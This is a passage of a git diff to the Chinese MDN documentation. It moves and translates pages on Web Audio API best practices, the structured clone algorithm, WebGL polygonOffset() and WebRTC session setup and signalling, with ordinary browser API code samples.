-var result = anchor.username; // Returns:'anonymous'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- - diff --git a/files/zh-cn/web/api/web_audio_api/best_practices/index.html b/files/zh-cn/web/api/web_audio_api/best_practices/index.html new file mode 100644 index 0000000000..f0a241a557 --- /dev/null +++ b/files/zh-cn/web/api/web_audio_api/best_practices/index.html @@ -0,0 +1,100 @@ +--- +title: Web Audio API 最佳实践 +slug: Web/API/Web_Audio_API/最佳实践 +tags: + - Web Audio API + - 指导 + - 最佳实践 + - 音频 +translation_of: Web/API/Web_Audio_API/Best_practices +--- +
{{apiref("Web Audio API")}}
+ +

在创意编程中(creative coding)没有严格的对错之分。 只要你充分考虑安全性、性能和accessibility,你可以用自己的办法来编写代码。在这篇文章中,我们会分享一些最佳实践——包含使用Web Audio API的指导、小知识和小技巧。

+ +

加载声音/声音文件

+ +

使用Web Audio API加载声音的主要方式有四种,你可能会对于应当使用哪种方式有些困惑。

+ +

在从文件中加载声音时,你可能会采取从{{domxref("HTMLMediaElement")}} (即  {{htmlelement("audio")}} 或{{htmlelement("video")}} )中抓取的方式,或提取文件并将其解码到缓冲区。两种工作方式都是合理的,然而,在处理全长音轨时,前一种方法会更加常见。而后一种方法更常见于处理更短的(例如样本)的音轨。

+ +

多媒体类HTML元素有开箱即用的媒体流支持。音频会在浏览器判断可以在播放完成之前加载文件的剩余部分时进行播放(when the browser determines it can load the rest of the file before playing finishes.)。你可以在Using the Web Audio API tutorial这篇文档中看到一个把多媒体类HTML元素与Web Audio API结合使用的例子。

+ +

如果你使用缓冲节点(buffer node)来加载音频,你将会有更多的控制权。虽然你需要请求这个文件,然后等待它加载完成(我们的这篇进阶文章中的这一节介绍了一个好办法)。但是,随后您可以直接访问数据,这意味着你能进行更精确,更精确的操作。

+ +

对于来自用户的摄像头或麦克风的音频,你可以考虑通过Media Stream API和{{domxref("MediaStreamAudioSourceNode")}}接口来访问。这在与WebRTC协作以及你想录制或分析音频的场合下很管用。

+ +

最后一个要介绍的方法时如何生成声音。这可以通过{{domxref("OscillatorNode")}}和创建一个缓冲区(buffer)然后向其中填充你的数据来完成。你可以在这篇指导你如何创建自己的乐器的文章中学习到用这两个工具创建声音的知识。

+ +

Cross browser & legacy support

+ +

The Web Audio API specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. Here we'll look at options for getting around cross-browser problems.

+ +

There's the standardised-audio-context npm package, which creates API functionality consistently across browsers, full holes as they are found. It's constantly in development and endeavours to keep up with the current specification.

+ +

There is also the option of libraries, of which there are a few depending on your use case. For a good all-rounder, howler.js is a good choice. It has cross-browser support and, provides a useful subset of functionality. Although it doesn't harness the full gamut of filters and other effects the Web Audio API comes with, you can do most of what you'd want to do.

+ +

If you are looking for sound creation or a more instrument-based option, tone.js is a great library. It provides advanced scheduling capabilities, synths, and effects, and intuitive musical abstractions built on top of the Web Audio API.

+ +

R-audio, from the BBC's Research & Development department, is a library of React components aiming to provide a "more intuitive, declarative interface to Web Audio". If you're used to writing JSX it might be worth looking at.

+ +

自动播放策略

+ +

浏览器已经开始实施自动播放策略,这一策略通常可以概括为:

+ +
+

"Create or resume context from inside a user gesture".

+
+ +

这在实践中意味着什么呢?user gesture可以解释为用户触发的事件(一般来说,是click事件)。浏览器厂商判定不应该允许Web Audio上下文自动播放音频,而应该由用户开始播放。这是因为自动播放音频非常烦人且令人讨厌。那么,我们该如何处理(handle)呢?

+ +

无论是offline还是online,当你创建了一个音频上下文(audio context),它会有一个内部状态(state),这个状态有暂停(suspend)、播放(running)、关闭(closed)三种可能。

+ +

(When you create an audio context (either offline or online) it is created with a state, which can be suspended, running, or closed.)

+ +

例如,在使用 {{domxref("AudioContext")}}时,如果你在click事件中创建了音频上下文,它的内部状态应该会被自动设置成播放(running)。这里有一个在click事件中创建音频上下文简单的例子:

+ +
const button = document.querySelector('button');
+button.addEventListener('click', function() {
+    const audioCtx = new AudioContext();
+}, false);
+
+ +

如果你在用户动作之外创建上下文(create the context outside of a user gesture),它的内部状态会被设置为暂停(suspend)。这里我们可以同样用click事件的例子。我们会检查这个上下文的状态,并且启动它。如果它是暂停(suspend)的状态,使用resume()方法来恢复。

+ +
const audioCtx = new AudioContext();
+const button = document.querySelector('button');
+
+button.addEventListener('click', function() {
+      // check if context is in suspended state (autoplay policy)
+    if (audioCtx.state === 'suspended') {
+        audioCtx.resume();
+    }
+}, false);
+
+ +

对于{{domxref("OfflineAudioContext")}},你也可以使用startRendering()方法来恢复到播放状态。

+ +

User control

+ +

If your website or application contains sound, you should allow the user control over it, otherwise again, it will become annoying. This can be achieved by play/stop and volume/mute controls. The Using the Web Audio API tutorial goes over how to do this.

+ +

If you have buttons that switch audio on and off, using the ARIA role="switch" attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible. There's a demo of how to use it here.

+ +

As you work with a lot of changing values within the Web Audio API and will want to provide users with control over these, the range input is often a good choice of control to use. It's a good option as you can set minimum and maximum values, as well as increments with the step attribute.

+ +

Setting AudioParam values

+ +

There are two ways to manipulate {{domxref("AudioNode")}} values, which are themselves objects of type {{domxref("AudioParam")}} interface. The first is to set the value directly via the property. So for instance if we want to change the gain value of a {{domxref("GainNode")}} we would do so thus:

+ +
gainNode.gain.value = 0.5;
+
+ +

This will set our volume to half. However, if you're using any of the AudioParam's defined methods to set these values, they will take precedence over the above property setting. If for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this:

+ +
gainNode.gain.setValueAtTime(1, audioCtx.currentTime + 2);
+
+ +

It will override the previous example (as it should), even if it were to come later in your code.

+ +

Bearing this in mind, if your website or application requires timing and scheduling, it's best to stick with the {{domxref("AudioParam")}} methods for setting values. If you're sure it doesn't, setting it with the value property is fine.

diff --git "a/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" "b/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" deleted file mode 100644 index f0a241a557..0000000000 --- "a/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Web Audio API 最佳实践 -slug: Web/API/Web_Audio_API/最佳实践 -tags: - - Web Audio API - - 指导 - - 最佳实践 - - 音频 -translation_of: Web/API/Web_Audio_API/Best_practices ---- -
{{apiref("Web Audio API")}}
- -

在创意编程中(creative coding)没有严格的对错之分。 只要你充分考虑安全性、性能和accessibility,你可以用自己的办法来编写代码。在这篇文章中,我们会分享一些最佳实践——包含使用Web Audio API的指导、小知识和小技巧。

- -

加载声音/声音文件

- -

使用Web Audio API加载声音的主要方式有四种,你可能会对于应当使用哪种方式有些困惑。

- -

在从文件中加载声音时,你可能会采取从{{domxref("HTMLMediaElement")}} (即  {{htmlelement("audio")}} 或{{htmlelement("video")}} )中抓取的方式,或提取文件并将其解码到缓冲区。两种工作方式都是合理的,然而,在处理全长音轨时,前一种方法会更加常见。而后一种方法更常见于处理更短的(例如样本)的音轨。

- -

多媒体类HTML元素有开箱即用的媒体流支持。音频会在浏览器判断可以在播放完成之前加载文件的剩余部分时进行播放(when the browser determines it can load the rest of the file before playing finishes.)。你可以在Using the Web Audio API tutorial这篇文档中看到一个把多媒体类HTML元素与Web Audio API结合使用的例子。

- -

如果你使用缓冲节点(buffer node)来加载音频,你将会有更多的控制权。虽然你需要请求这个文件,然后等待它加载完成(我们的这篇进阶文章中的这一节介绍了一个好办法)。但是,随后您可以直接访问数据,这意味着你能进行更精确,更精确的操作。

- -

对于来自用户的摄像头或麦克风的音频,你可以考虑通过Media Stream API和{{domxref("MediaStreamAudioSourceNode")}}接口来访问。这在与WebRTC协作以及你想录制或分析音频的场合下很管用。

- -

最后一个要介绍的方法时如何生成声音。这可以通过{{domxref("OscillatorNode")}}和创建一个缓冲区(buffer)然后向其中填充你的数据来完成。你可以在这篇指导你如何创建自己的乐器的文章中学习到用这两个工具创建声音的知识。

- -

Cross browser & legacy support

- -

The Web Audio API specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. Here we'll look at options for getting around cross-browser problems.

- -

There's the standardised-audio-context npm package, which creates API functionality consistently across browsers, full holes as they are found. It's constantly in development and endeavours to keep up with the current specification.

- -

There is also the option of libraries, of which there are a few depending on your use case. For a good all-rounder, howler.js is a good choice. It has cross-browser support and, provides a useful subset of functionality. Although it doesn't harness the full gamut of filters and other effects the Web Audio API comes with, you can do most of what you'd want to do.

- -

If you are looking for sound creation or a more instrument-based option, tone.js is a great library. It provides advanced scheduling capabilities, synths, and effects, and intuitive musical abstractions built on top of the Web Audio API.

- -

R-audio, from the BBC's Research & Development department, is a library of React components aiming to provide a "more intuitive, declarative interface to Web Audio". If you're used to writing JSX it might be worth looking at.

- -

自动播放策略

- -

浏览器已经开始实施自动播放策略,这一策略通常可以概括为:

- -
-

"Create or resume context from inside a user gesture".

-
- -

这在实践中意味着什么呢?user gesture可以解释为用户触发的事件(一般来说,是click事件)。浏览器厂商判定不应该允许Web Audio上下文自动播放音频,而应该由用户开始播放。这是因为自动播放音频非常烦人且令人讨厌。那么,我们该如何处理(handle)呢?

- -

无论是offline还是online,当你创建了一个音频上下文(audio context),它会有一个内部状态(state),这个状态有暂停(suspend)、播放(running)、关闭(closed)三种可能。

- -

(When you create an audio context (either offline or online) it is created with a state, which can be suspended, running, or closed.)

- -

例如,在使用 {{domxref("AudioContext")}}时,如果你在click事件中创建了音频上下文,它的内部状态应该会被自动设置成播放(running)。这里有一个在click事件中创建音频上下文简单的例子:

- -
const button = document.querySelector('button');
-button.addEventListener('click', function() {
-    const audioCtx = new AudioContext();
-}, false);
-
- -

如果你在用户动作之外创建上下文(create the context outside of a user gesture),它的内部状态会被设置为暂停(suspend)。这里我们可以同样用click事件的例子。我们会检查这个上下文的状态,并且启动它。如果它是暂停(suspend)的状态,使用resume()方法来恢复。

- -
const audioCtx = new AudioContext();
-const button = document.querySelector('button');
-
-button.addEventListener('click', function() {
-      // check if context is in suspended state (autoplay policy)
-    if (audioCtx.state === 'suspended') {
-        audioCtx.resume();
-    }
-}, false);
-
- -

对于{{domxref("OfflineAudioContext")}},你也可以使用startRendering()方法来恢复到播放状态。

- -

User control

- -

If your website or application contains sound, you should allow the user control over it, otherwise again, it will become annoying. This can be achieved by play/stop and volume/mute controls. The Using the Web Audio API tutorial goes over how to do this.

- -

If you have buttons that switch audio on and off, using the ARIA role="switch" attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible. There's a demo of how to use it here.

- -

As you work with a lot of changing values within the Web Audio API and will want to provide users with control over these, the range input is often a good choice of control to use. It's a good option as you can set minimum and maximum values, as well as increments with the step attribute.

- -

Setting AudioParam values

- -

There are two ways to manipulate {{domxref("AudioNode")}} values, which are themselves objects of type {{domxref("AudioParam")}} interface. The first is to set the value directly via the property. So for instance if we want to change the gain value of a {{domxref("GainNode")}} we would do so thus:

- -
gainNode.gain.value = 0.5;
-
- -

This will set our volume to half. However, if you're using any of the AudioParam's defined methods to set these values, they will take precedence over the above property setting. If for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this:

- -
gainNode.gain.setValueAtTime(1, audioCtx.currentTime + 2);
-
- -

It will override the previous example (as it should), even if it were to come later in your code.

- -

Bearing this in mind, if your website or application requires timing and scheduling, it's best to stick with the {{domxref("AudioParam")}} methods for setting values. If you're sure it doesn't, setting it with the value property is fine.

diff --git a/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html new file mode 100644 index 0000000000..60444f8dc4 --- /dev/null +++ b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -0,0 +1,108 @@ +--- +title: 结构化克隆算法 +slug: Web/Guide/API/DOM/The_structured_clone_algorithm +tags: + - DOM + - HTML5 + - 结构化克隆算法 +translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +--- +

结构化克隆算法是由HTML5规范定义的用于复制复杂JavaScript对象的算法。通过来自 Workers的 postMessage() 或使用 IndexedDB 存储对象时在内部使用。它通过递归输入对象来构建克隆,同时保持先前访问过的引用的映射,以避免无限遍历循环。

+ +

结构化克隆所不能做到的

+ + + +

支持的类型

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
对象类型注意
所有的原始类型symbols 除外
Boolean 对象 
String 对象 
Date 
RegExplastIndex 字段不会被保留。
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferView这基本上意味着所有的 类型化数组 ,如 Int32Array 等。
{{ domxref("ImageData") }} 
Array 
Object仅包括普通对象(如对象字面量)
Map 
Set 
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html new file mode 100644 index 0000000000..a62d4aeafa --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html @@ -0,0 +1,76 @@ +--- +title: WebGLRenderingContext.polygonOffset() +slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) +translation_of: Web/API/WebGLRenderingContext/polygonOffset +--- +
{{APIRef("WebGL")}}
+ +

The WebGLRenderingContext.polygonOffset() method of the WebGL API specifies the scale factors and units to calculate depth values.

+ +

The offset is added before the depth test is performed and before the value is written into the depth buffer.

+ +

语法

+ +
void gl.polygonOffset(factor, units);
+
+ +

参数

+ +
+
factor
+
A {{domxref("GLfloat")}} which sets the scale factor for the variable depth offset for each polygon. 默认值为 0.
+
units
+
A {{domxref("GLfloat")}} which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset. 默认值为 0.
+
+ +

返回值

+ +

None.

+ +

例子

+ +

The polygon offset fill is disabled by default. To enable or disable polygon offset fill, use the {{domxref("WebGLRenderingContext.enable", "enable()")}} and {{domxref("WebGLRenderingContext.disable", "disable()")}} methods with the argument gl.POLYGON_OFFSET_FILL.

+ +
gl.enable(gl.POLYGON_OFFSET_FILL);
+gl.polygonOffset(2, 3);
+
+ +

想要查看当前多边形偏移的 factor 或 units, 查询 POLYGON_OFFSET_FACTORPOLYGON_OFFSET_UNITS 的内容即可.

+ +
gl.getParameter(gl.POLYGON_OFFSET_FACTOR); // 2
+gl.getParameter(gl.POLYGON_OFFSET_UNITS);  // 3
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "polygonOffset")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glPolygonOffset.xml", "glPolygonOffset")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.polygonOffset")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" "b/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" deleted file mode 100644 index a62d4aeafa..0000000000 --- "a/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: WebGLRenderingContext.polygonOffset() -slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) -translation_of: Web/API/WebGLRenderingContext/polygonOffset ---- -
{{APIRef("WebGL")}}
- -

The WebGLRenderingContext.polygonOffset() method of the WebGL API specifies the scale factors and units to calculate depth values.

- -

The offset is added before the depth test is performed and before the value is written into the depth buffer.

- -

语法

- -
void gl.polygonOffset(factor, units);
-
- -

参数

- -
-
factor
-
A {{domxref("GLfloat")}} which sets the scale factor for the variable depth offset for each polygon. 默认值为 0.
-
units
-
A {{domxref("GLfloat")}} which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset. 默认值为 0.
-
- -

返回值

- -

None.

- -

例子

- -

The polygon offset fill is disabled by default. To enable or disable polygon offset fill, use the {{domxref("WebGLRenderingContext.enable", "enable()")}} and {{domxref("WebGLRenderingContext.disable", "disable()")}} methods with the argument gl.POLYGON_OFFSET_FILL.

- -
gl.enable(gl.POLYGON_OFFSET_FILL);
-gl.polygonOffset(2, 3);
-
- -

想要查看当前多边形偏移的 factor 或 units, 查询 POLYGON_OFFSET_FACTORPOLYGON_OFFSET_UNITS 的内容即可.

- -
gl.getParameter(gl.POLYGON_OFFSET_FACTOR); // 2
-gl.getParameter(gl.POLYGON_OFFSET_UNITS);  // 3
-
- -

说明

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "polygonOffset")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glPolygonOffset.xml", "glPolygonOffset")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
- -

Browser compatibility

- - - -

{{Compat("api.WebGLRenderingContext.polygonOffset")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/webrtc_api/architecture/index.html b/files/zh-cn/web/api/webrtc_api/architecture/index.html deleted file mode 100644 index 5f37d83529..0000000000 --- a/files/zh-cn/web/api/webrtc_api/architecture/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: WebRTC 架构概览 -slug: Web/API/WebRTC_API/Architecture -tags: - - WebRTC 架构概览 -translation_of: Web/API/WebRTC_API/Protocols -translation_of_original: Web/API/WebRTC_API/Architecture ---- -

{{WebRTCSidebar}}

- -

用来创建WebRTC连接的API底层使用了一系列的网络协议和连接标准。这篇文章涵盖了这些标准。

- -

为了让WebRTC正常工作,需要的协议、标准和API比较繁多。因此对于初学者来说可能会比较难以理解。当你一旦上手,你会惊喜地发现原来这一切都是如此的优雅和简单易懂。至于你信不信,反正我是信了。

- - - - -

重定向 WebRTC 协议介绍

diff --git a/files/zh-cn/web/api/webrtc_api/overview/index.html b/files/zh-cn/web/api/webrtc_api/overview/index.html deleted file mode 100644 index da693553b8..0000000000 --- a/files/zh-cn/web/api/webrtc_api/overview/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: WebRTC API overview -slug: Web/API/WebRTC_API/Overview -translation_of: Web/API/WebRTC_API#WebRTC_concepts_and_usage -translation_of_original: Web/API/WebRTC_API/Overview ---- -

{{WebRTCSidebar}}

- -

WebRTC是由一些关联的API和协议一起协作,支持两个或多个终端之间交换数据和媒体信息的技术。这篇文章提供了这些APIs的介绍和提供的功能。

- -

RTCPeerConnection

- -

在媒体能够交换,或者数据通道建立之前,你需要把两个终端连接起来。这个连接过程的完成就是使用{{domxref("RTCPeerConnection")}} 接口。

- -

MediaStream

- -

{{domxref("MediaStream")}}接口描述了终端之间传输的媒体流。这个流由一个或多个媒体通道信息;通常这是一个音频通道或者视频通道信息。一个媒体流能够传输实时的媒体(例如音频通话或者视频会议等)或者已存的媒体(例如网上电影)。

- -

RTCDataChannel

- -

WebRTC支持在建立连接的两个终端之间相互的传输二进制数据。这个过程通过{{domxref("RTCDataChannel")}}接口。

- -

这个接口可以作为数据的反向通道,甚至作为主要的数据通道去交换各种数据。例如在游戏应用中,通过这个接口可以实现多玩家支持,相互传送玩家的动作更新之类的数据。

diff --git a/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html new file mode 100644 index 0000000000..86ddf25b47 --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html @@ -0,0 +1,88 @@ +--- +title: WebRTC 介绍 +slug: WebRTC/介绍 +translation_of: Web/API/WebRTC_API/Session_lifetime +--- +
+

此页面正在建设中,部分内容会移至其他页面,因为WebRTC指导资料已经建成。

+ +

WebRTC允许您将任意数据,音频或视频(或其任何组合)的点对点通信构建到浏览器应用程序中。 在本文中,我们将介绍一个WebRTC会话的生命周期,从建立连接到不再需要时关闭连接。

+
+ +

创建连接

+ +

互联网很大 很大。 那么多年以前,聪明的人看到它有多大,增长速度有多快,32位IP寻址系统的局限性,并意识到有些事情要做,所以他们开始设计一个新的 64位寻址系统。 但是他们意识到,完成转换需要更长时间才能持续32位地址,所以其他一些机智的人们想出了让多台计算机共享同一个32位IP地址的方法。 网络地址转换(NAT)是通过操纵LAN上的所有设备的数据出入的路由来支持这种地址共享的标准,所有这些设备都共享同一个WAN(全局)IP地址。

+ +

用户的问题是互联网上的每台个人计算机不再一定具有唯一的IP地址,实际上,每个设备的IP地址也会变,不仅可能由于设备从一个网络移动到另一个网络,也可能被NAT和/或DHCP改变。 对于尝试进行点对点网络的开发人员,这引入了一个难题:没有每个用户设备的唯一标识符,不可能立即自动地知道如何连接到Internet上的特定设备。 即使你知道你想谈论的人,你不一定知道如何到达他们,甚至也不知道他们的地址。

+ +

这就像您尝试向您的朋友Michelle发送一个包裹,但您只在这个包裹上贴了一个写着“Michelle”的标签,而您并不知道她的地址。 您得查到她的地址并将其包装在包中,要不然她会在想为什么你又忘记她的生日了。

+ +

这就是信令(Signaling)的由来。

+ +

信令

+ +

信令是在两个设备之间发送控制信息以确定通信协议、信道、媒体编解码器和格式以及数据传输方法以及任何所需的路由信息的过程。 关于WebRTC的信令流程最重要的一点是:信令在规范中并没有定义。所以开发者需要自己决定如何实现这个过程。开发者可以为应用程序引擎选择任意的信息协议(如SIP或XMPP),任意双向通信信道(如WebSocket或XMLHttpRequest)与持久连接服务器的API(如Google Channel API)一起工作。

+ +

你可能会想,为什么这么一个对于建立WebRTC连接至关重要的基本过程居然没有定义在规范里? 答案很简单:由于两个设备无法直接相互联系,规范无法预测WebRTC的所有可能用例,因此更明智的做法就是让开发人员们自己选择合适的网络技术和消息传递协议。

+ +

尤其是如果一个开发人员已经有了一个连接两个设备的方法,那也没有必要强迫他们就为了WebRTC使用另一个规范定义的方法。 由于WebRTC没有生活在真空中,所以可能还有其他的连接,因此,如果可以使用已有的连接通道,就可以避免添加额外的连接通道。

+ +

为了交换信令信息,您可以选择通过WebSocket连接来回发送JSON对象,或者您可以在适当的通道(Channel)上使用XMPP或SIP,或者您可以通过HTTPS使用XMLHttpRequest进行轮询或者其他任何你可以想出来的技术组合。你甚至可以使用电子邮件作为信号通道。

+ +

还值得注意的是,用于执行信令的信道甚至不需要通过网络。 一个Peer可以输出一个数据对象,这个数据对象可以被打印出来,然后物理携带(步行或由信鸽)直到进入另一个设备,然后由该设备输出响应,并以同种方式返回, 直到WebRTC对等连接打开。 这将带来非常高的延迟,但也是可以做到的。

+ +

信令期间交换的信息

+ +

信令期间需要交换的信息有三种基本类型:

+ + + +

只有在信令成功完成之后,打开WebRTC对等连接的过程才真正开始。

+ +

值得注意的是,在信令期间,信令服务器实际上不需要理解两个设备之间交换的数据或者对这些数据做任何处理。 信令服务器本质上就是一个中继器:两端连接的公共点,两端都知道它们的信令数据可以通过这个点来传输。 服务器不需要以任何方式对此信息做出反应。

+ +

信令过程

+ +

为了开启一个WebRTC会话,以下事件需要依次发生:

+ +
    +
  1. 每个Peer创建一个RTCPeerConnection对象,用来表示其WebRTC会话端。
  2. +
  3. 每个Peer建立一个icecandidate事件的响应程序,用来在监测到该事件时将这些candidates通过信令通道发送给另一个Peer。
  4. +
  5. 每个Peer建立一个track事件的响应程序,这个事件会在远程Peer添加一个track到其stream上时被触发。这个响应程序应将tracks和其消受者联系起来,例如{{HTMLElement("video")}}元素。
  6. +
  7. 呼叫者创建并与接收者共享一个唯一的标识符或某种令牌,使得它们之间的呼叫可以由信令服务器上的代码来识别。此标识符的确切内容和形式取决于您。
  8. +
  9. 每个Peer连接到一个约定的信令服务器,如WebSocket服务器,他们都知道如何与之交换消息。
  10. +
  11. 每个Peer告知信令服务器他们想加入同一WebRTC会话(由步骤4中建立的令牌标识)。
  12. +
  13. 描述,候选地址等 -- 之后会有更多
  14. +
+ +

ICE 重连

+ +

有时,在WebRTC会话的整个生命周期内,网络条件会发生变化。 其中一个用户可能会从蜂窝网络转移到WiFi网络,或者网络可能会变得拥塞。 当这种情况发生时,ICE代理可以选择执行ICE重连。 在这个过程中网络连接会进行重新协商,与执行初始ICE协商的方式完全相同,除了:媒体继续流过原始网络连接直到新的开始运行。 然后媒体转移到新的网络连接,旧的关闭。

+ +

不同的浏览器支持在不同情况下的进行ICE重连。 例如,并不是所有的浏览器都会因为网络拥塞执行ICE重连。

+ +

ICE重连有两个级别:全ICE重连会导致会话中的所有媒体流重新协商。 部分ICE重连允许ICE重新协商特定媒体流,而不是所有媒体流进行重新协商。 然而,有些浏览器还不支持部分ICE重启。 <<<你如何触发每一个?>>>

+ +

如果您需要以某种方式更改连接的配置(例如更改为不同的ICE服务器集),您可以调用RTCPeerConnection.setConfiguration()设置新的RTCConfiguration字典,然后重新启动ICE。

+ +

要明确触发ICE重新启动,只需通过调用RTCPeerConnection.createOffer()启动一个协商过程,同时指定iceRestart选项为true。 然后就像平时那样处理连接过程即可。

+ +

发送

+ +

getUserMedia(获取用户媒体)

+ +

LocalMediaStream object

+ +

接收

+ +

WebRTC 在Firefox浏览器的偏好选择选项是隐藏的。可以到 about:config 这个页面设置 'media.navigator.enabled' 为 'true'。

+ +
+

在Source tree 中有一些测试文件可以提供给您关于WebRTC如何工作的一个想法。具体例子请查看: dom/media/tests/local_video_test.html。您也可以尝试 服务器demo ,源代码: server source

+
+ +

 

diff --git a/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html b/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html deleted file mode 100644 index 67464bdbd1..0000000000 --- a/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: WebRTC basics -slug: Web/API/WebRTC_API/WebRTC_basics -translation_of: Web/API/WebRTC_API/Signaling_and_video_calling -translation_of_original: Web/API/WebRTC_API/WebRTC_basics ---- -

{{WebRTCSidebar}}

- -
-

当你理解 WebRTC 架构之后, 你就可以阅读本篇文章了。本篇文章将带领你贯穿整个跨浏览器 RTC 应用的创建过程。到本章结束的时候,你就拥有了一个可以运行的点对点的数据通道和媒体通道。

-
- -
-

本页的案例过期了! 不要再尝试他们了。

-
- -

注意

- -

由于近期 API 做了一些修改,一些比较老的案例需要修复,暂时不可用。

- - - -

当前可以正常工作的的案例是:

- - - -

正确的实现方式或许可以从标准中推断出来。

- -

本页包含的其余的过期的信息,在 bugzilla

- -

Shims

- -

就像你想的那样,这样前卫的 API 肯定需要浏览器前缀才可以,然后再将它转换成通用的变量。

- -
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
-var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
-var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
-navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
- -

RTCPeerConnection

- -

这是使用 peer 创建连接的起始点。它接收一个配置选项,其中配置了用来创建连接的 ICE 服务器信息。

- -
var pc = new RTCPeerConnection(configuration);
- -

RTCConfiguration

- -

 {{domxref("RTCConfiguration")}} 对象包含了一些信息,这些信息是关于用来做 ICE 的 TURN 和 / 或 STUN 服务器的。这是用来确保大多数用户可以避免因 NAT 和防火墙导致的无法建立连接。

- -
var configuration = {
-    iceServers: [
-        {urls: "stun:23.21.150.121"},
-        {urls: "stun:stun.l.google.com:19302"},
-        {urls: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
-    ]
-}
- -

Google 运行了一个我们可以使用的公共 STUN 服务器。我也在 http://numb.viagenie.ca/ 创建了一个免费的可以访问 TURN 服务器的账户。可能你也想这么做,你只要替换到你自己的许可证书就可以了。

- - - -

ICECandidate

- - - -

创建好 PeerConnection 并传入可用的 STUNTURN 之后,当 ICE 框架找到可以使用 Peer 创建连接的 “候选者”,会立即触发一个事件(onicecandidate)。这些 “候选者” 就是 ICECandidate, 而且他们会在 PeerConnection#onicecandidate 事件中执行一个回调函数。

- -
pc.onicecandidate = function (e) {
-    // candidate exists in e.candidate
-    if (!e.candidate) return;
-    send("icecandidate", JSON.stringify(e.candidate));
-};
- -

回调函数执行之后,我们必须使用信令通道 (signal channel) 将候选发送到其他的点。在 Chrome 中,ICE 框架一般会找到重复的候选者,所以,我一般只发送第一个,然后将处理函数删除。Firfox 中将候选者包含在了 Offer SDP 中。

- -

Signal Channel

- -

